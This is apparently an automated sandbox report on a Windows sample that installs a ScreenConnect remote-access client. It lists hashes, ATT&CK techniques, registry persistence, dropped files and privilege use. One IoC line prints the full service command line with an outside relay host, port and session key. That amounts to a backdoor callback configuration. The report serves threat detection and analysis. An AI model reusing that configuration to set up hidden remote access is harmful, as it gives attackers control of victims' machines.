dbd2b894a497689b47024a544c3120f441a6594629b0dbcf2136671bf5dd4ee9

Analysis

max time kernel
149s
max time network
147s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
26/04/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 11.2MB
Sample260426-thnbnaav4x
SHA256 dbd2b894a497689b47024a544c3120f441a6594629b0dbcf2136671bf5dd4ee9
MD5 39901f774759951f1f95e1989acdba51
SHA1 2a49deadffb06c3450d4e8ab58e738aace1d185b
SHA512 5344ad9b6062d6e0f98ed2ac53db6152d9672c438ee7540dadac407bbd0709202af78efa5f6cbf84cc2a64e0f22cf91184ab52761b2b79ec06c3c3c335350c79
SSDEEP 196608:v1TfefPq1QyiixtMj2Z1jhlrwUvQyiixtMjhQyiixtMjmQyiixtMjeQyiixtMjV:vGPnj2rrYPnjKPnjfPnj3PnjV
TLSH
T180C61201B3E68975D0BF0638DC7A56615A35BC049B12C6BF5798B96D2E32BC08E32377
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence ransomware rat

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (f019ead39d18b18b)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (f019ead39d18b18b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=help.overthewire.com.au&p=8041&s=ad755eca-f838-489a-a884-70ee142060bc&k=BgIAAACkAABSU0ExAAgAABEAAADHIkW%2b3HkPDSP8U77odETO2Oa6bry95zbwMkerRF0eoHnNKAHT78QsJ6B%2f%2bZOVRdNRgQC8gdviJB8iW05rbTmlpwsLrK0H7JTi4N06Q%2bplY1t8EQl2h5J%2bMfufP1lbQqdDbMiPPE4T2%2bvG8b8sNhs4C3VvoCE98u6otcwd75fFoqbrbve62s5RH%2fIKMon8mLiGGGAFiFB%2bu9kaGWjGNwT%2bzyF%2fZIcT2W6Y97Tk8Dv4OxH%2bft4BZRxwWC7aFkO80aDkr5Sw2B3pPgEI7pLLwBbthQ2faO%2f2DvGYw1a5MePu4r1LEs%2bl24Lj5MNhS0o6EXzdIMN8pM00PBIW87tYXT%2bY&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAlJKdskZCF0W1ZfPePYIlEgAAAAACAAAAAAAQZgAAAAEAACAAAABlovGKcCegFyzs6%2fcqWCGk4563Nk1A57%2fSzJh%2bMovAgwAAAAAOgAAAAAIAACAAAABsFS1iYTOYlZEt2DaVekmhNiaw5%2bQuYnICM%2bTSWg0GuaAEAACFMcTwUlIHmZgDsppckth7vz4Nt%2frJ3bQ5FguXNfSrQdp31Ib4VXMb7rHSQsuQ%2fYHgk2GznHS%2bcckL0PtQUPDCuMpe3%2ff34xIGN0Kq0WhmRjxd%2b%2fnyuclXNnDF2XjP4TkrRdB%2fFOqvWGWXDMcOMJzurHi0zaWv5H%2boqb6ipFvHRM5lcI%2fXFWkdLeoIBW9cpMJKC2h84J%2bNabPJtHQBRUCQgmbxcpJ7Ms7pGq67WBThwNr%2f6gm4T1NAoLaImC4PNwptLuNaEEkwjEEqjK9n6BAnTY3FeS1w3htY8tkS%2b159EfD5OlNx1F4M6vGPA6JOd7hW6no%2bvQAqlLkt1qWeLyrDTO87%2bgGs5cdgjM3dijexNLs8XVwBgcDryVzdjKf2kcjT01H6nSjV0AYvxTtUiuSE%2f70FitX%2bkLkzbWg2H6nj9I%2bH3qK8XARIMI2NuDiMecgcTCt9wJ8Giv47n83fGwTOMkFtsepnSCfkMMh%2fhmz%2fkQdUcGue%2bDoPDEgE48ywW7XMo2cN9Pr4STeSSaGrJuTHucGPdqX3F%2bhsFrpAW8aAmpKHsXygMwsGb5Xe%2f%2fZ8wV62g8H2NGSbTs4wRBrXeH6zR9PdgVJIideXcNcBZDaBWRwAx3ClkVLOqdLz7y5tq%2btT6teSGa3JM04H1HfQYybV5OxeHIx42Xhf4STVj4UKUBTwSTZUimCw89lIHBFgCmsWbAKuGH7VZCfxjYdskmdryOSa58gOKpYn%2breDBYc4N1AXazyuBVDcWjzFGs2bx1HEHOtteae1x1wRTvMRlPbsiz0hbM%2fGdjJyhsFZGLH%2b9%2bZ2CenwEpJYEBK7%2bVxPs52UnjEsIClWqg6Cr0jkzTsg5WZ23EHQtjfGgi%2fr%2fXyIS3PxjTNZZfOydXtjn9lQrGR9tnaI4XJsjE3lA9tqjrYCI5%2fcPfoUlvWQZj4UIJmJTKBVXf6fqGyt6JBC4AZzRixY2MRr11dMSbqAsHc2qztwdfdD%2f6aHFslQAbQtbWoHteEam72EwWCjTzWZ7fgc1Fej3OyEyE9SGGrWujHxSXRvUum16KMWHiRhUqrBTzrzaHtIhKS0a7kdHwSIqrJ4L%2b6dvTeeoIwjcG6gZBIuTvSewHAnOxgUyKvEgkYeDU%2bACuzoKxFjNOBzFJBDh9cxztoGg0atvIe%2bhu69f%2fPVbx2odBB%2fuMGSPftQ2LFlw16YWz3bJZlnNFboWvBpg%2bHZ2ZnEdDjiBF%2fyuTYCxwlkbaAhC7sjQUaQl%2fR3Y28Ov82Z1PNZaiMWpxZfQUCKcpAcQzCS17L0GYDgAZDJcwPBze0uRiaP%2b%2f89d0FDyhsAoxslyoCzikQx82q66xwrItNts%2boRx6t0zG7CKNBKv29Gw6FvW1J%2bNLsyukYbyKeoda3oHTcp3IEmQRSt7sttezIvE2k4uz4O4ivhzjkhxGUuh19EtduWUrgKeQsMXSdupz%2fO%2bDMLWbzOEIep%2fc%2blGF50pLc43xrqJBuUuwr89Ji2nHQXFzBnHmfT0hEyCN6UXTr4320oyLd481aA%2fZUviLZIRw4F3tpgTL7m551%2fLArwQNTP8D15E%2bw6IqZJK6qHBy1WIUAAAAAjt7TLRrSQMAbvFP22fTSDUINo0%2fP4NW%2f%2foL87Uy4woWe24nIQtzmZV%2fMdz7xj9WqoZ7MZN8bcBoGeR%2bucNcXC&c=Test&c=Head%20Office&c=Managed%20Services&c=Clients&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	912	msiexec.exe
3	912	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Drops file in System32 directory 15 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\auxnhjlb.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\5wqkhly1.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\hum3i1hs.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\hum3i1hs.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\dznnsche.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\dznnsche.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\5v0l5ipz.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\5wqkhly1.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\5wqkhly1.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\dznnsche.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\auxnhjlb.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\5v0l5ipz.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\hum3i1hs.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\auxnhjlb.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.en-US.resources	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8A2EBD470F826D55.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB1D7.tmp	msiexec.exe
File created	C:\Windows\Installer\e58b0bf.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7E13AEC67C992FD4.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e58b0bd.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9D7BB5580EF52B6B.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB1B7.tmp	msiexec.exe
File created	C:\Windows\Installer\{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4A7F46D8C1852AE4.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB2A3.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e58b0bd.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
5068	ScreenConnect.ClientService.exe
2408	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
2916	MsiExec.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
3472	rundll32.exe
2152	MsiExec.exe
576	MsiExec.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000adcdd9a6d08c0ad30000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000adcdd9a60000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900adcdd9a6000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aadcdd9a6000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dadcdd9a6000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F0A85AD45421FF79A70E8435ABABD9E7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Version = "420020229"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CC5A5DCD96FB7BC70F91AE3DD9811BB8\F0A85AD45421FF79A70E8435ABABD9E7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\PackageCode = "F0A85AD45421FF79A70E8435ABABD9E7"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F0A85AD45421FF79A70E8435ABABD9E7\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\ProductName = "ScreenConnect Client (f019ead39d18b18b)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\CC5A5DCD96FB7BC70F91AE3DD9811BB8	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-f019ead39d18b18b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.9.5.9483\\f019ead39d18b18b\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-f019ead39d18b18b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f019ead39d18b18b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (f019ead39d18b18b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\ProductIcon = "C:\\Windows\\Installer\\{4DA58A0F-1245-97FF-7AE0-4853BABA9D7E}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.9.5.9483\\f019ead39d18b18b\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F0A85AD45421FF79A70E8435ABABD9E7\Assignment = "1"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4916	msiexec.exe
4916	msiexec.exe
5068	ScreenConnect.ClientService.exe
5068	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3952	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	912	msiexec.exe
Token: SeIncreaseQuotaPrivilege	912	msiexec.exe
Token: SeSecurityPrivilege	4916	msiexec.exe
Token: SeCreateTokenPrivilege	912	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	912	msiexec.exe
Token: SeLockMemoryPrivilege	912	msiexec.exe
Token: SeIncreaseQuotaPrivilege	912	msiexec.exe
Token: SeMachineAccountPrivilege	912	msiexec.exe
Token: SeTcbPrivilege	912	msiexec.exe
Token: SeSecurityPrivilege	912	msiexec.exe
Token: SeTakeOwnershipPrivilege	912	msiexec.exe
Token: SeLoadDriverPrivilege	912	msiexec.exe
Token: SeSystemProfilePrivilege	912	msiexec.exe
Token: SeSystemtimePrivilege	912	msiexec.exe
Token: SeProfSingleProcessPrivilege	912	msiexec.exe
Token: SeIncBasePriorityPrivilege	912	msiexec.exe
Token: SeCreatePagefilePrivilege	912	msiexec.exe
Token: SeCreatePermanentPrivilege	912	msiexec.exe
Token: SeBackupPrivilege	912	msiexec.exe
Token: SeRestorePrivilege	912	msiexec.exe
Token: SeShutdownPrivilege	912	msiexec.exe
Token: SeDebugPrivilege	912	msiexec.exe
Token: SeAuditPrivilege	912	msiexec.exe
Token: SeSystemEnvironmentPrivilege	912	msiexec.exe
Token: SeChangeNotifyPrivilege	912	msiexec.exe
Token: SeRemoteShutdownPrivilege	912	msiexec.exe
Token: SeUndockPrivilege	912	msiexec.exe
Token: SeSyncAgentPrivilege	912	msiexec.exe
Token: SeEnableDelegationPrivilege	912	msiexec.exe
Token: SeManageVolumePrivilege	912	msiexec.exe
Token: SeImpersonatePrivilege	912	msiexec.exe
Token: SeCreateGlobalPrivilege	912	msiexec.exe
Token: SeCreateTokenPrivilege	912	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	912	msiexec.exe
Token: SeLockMemoryPrivilege	912	msiexec.exe
Token: SeIncreaseQuotaPrivilege	912	msiexec.exe
Token: SeMachineAccountPrivilege	912	msiexec.exe
Token: SeTcbPrivilege	912	msiexec.exe
Token: SeSecurityPrivilege	912	msiexec.exe
Token: SeTakeOwnershipPrivilege	912	msiexec.exe
Token: SeLoadDriverPrivilege	912	msiexec.exe
Token: SeSystemProfilePrivilege	912	msiexec.exe
Token: SeSystemtimePrivilege	912	msiexec.exe
Token: SeProfSingleProcessPrivilege	912	msiexec.exe
Token: SeIncBasePriorityPrivilege	912	msiexec.exe
Token: SeCreatePagefilePrivilege	912	msiexec.exe
Token: SeCreatePermanentPrivilege	912	msiexec.exe
Token: SeBackupPrivilege	912	msiexec.exe
Token: SeRestorePrivilege	912	msiexec.exe
Token: SeShutdownPrivilege	912	msiexec.exe
Token: SeDebugPrivilege	912	msiexec.exe
Token: SeAuditPrivilege	912	msiexec.exe
Token: SeSystemEnvironmentPrivilege	912	msiexec.exe
Token: SeChangeNotifyPrivilege	912	msiexec.exe
Token: SeRemoteShutdownPrivilege	912	msiexec.exe
Token: SeUndockPrivilege	912	msiexec.exe
Token: SeSyncAgentPrivilege	912	msiexec.exe
Token: SeEnableDelegationPrivilege	912	msiexec.exe
Token: SeManageVolumePrivilege	912	msiexec.exe
Token: SeImpersonatePrivilege	912	msiexec.exe
